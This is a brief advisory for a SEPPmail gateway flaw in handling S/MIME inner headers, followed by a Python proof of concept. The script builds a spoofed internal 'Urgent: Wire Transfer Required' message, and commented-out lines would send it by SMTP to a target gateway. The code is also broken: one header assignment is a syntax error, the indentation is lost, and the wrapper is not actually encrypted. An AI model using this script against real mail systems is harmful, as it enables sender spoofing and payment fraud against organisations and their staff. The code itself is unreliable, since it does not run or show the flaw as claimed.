SEPPmail Secure Email Gateway before version 15.0.3 does not properly authenticate the inner message of S/MIME-encrypted MIME entities, allowing an attacker to control trusted headers.
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-29143
# Description: This script demonstrates how to craft a MIME message
# where the inner headers are manipulated to exploit the lack of authentication
# on the inner message of S/MIME-encrypted entities in SEPPmail < 15.0.3.
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email import policy
from email.generator import Generator
import smtplib
def create_exploit_mime():
# Step 1: Create the inner malicious message
# Attackers aim to control these 'trusted' headers
inner_msg = MIMEMultipart('mixed')
inner_msg['From'] = '[email protected]' # Spoofed internal trusted sender
inner_msg['To'] = '[email protected]'
inner_msg['Subject'] 'Urgent: Wire Transfer Required'
# Malicious payload body
body = MIMEText('Please transfer funds immediately.', 'plain')
inner_msg.attach(body)
# Step 2: Wrap in outer entity (Simulating the S/MIME structure)
# In a real exploit, this would be encrypted, but the vulnerability lies
# in how the gateway processes the decrypted inner headers.
outer_msg = MIMEMultipart('encrypted', protocol='application/pkcs7-mime')
outer_msg['From'] = '[email protected]'
outer_msg['To'] = '[email protected]'
# The gateway fails to authenticate that 'inner_msg' is genuinely signed
# by the spoofed '[email protected]', yet trusts its headers.
outer_msg.attach(inner_msg)
return outer_msg
if __name__ == "__main__":
exploit_msg = create_exploit_mime()
print("[+] Crafted Exploit MIME Message:")
print(exploit_msg.as_string())
# Logic to send to the vulnerable gateway
# try:
# with smtplib.SMTP('target_gateway_ip', 25) as server:
# server.sendmail('[email protected]', '[email protected]', exploit_msg.as_string())
# print("[+] Exploit sent successfully.")
# except Exception as e:
# print(f"[-] Error sending exploit: {e}")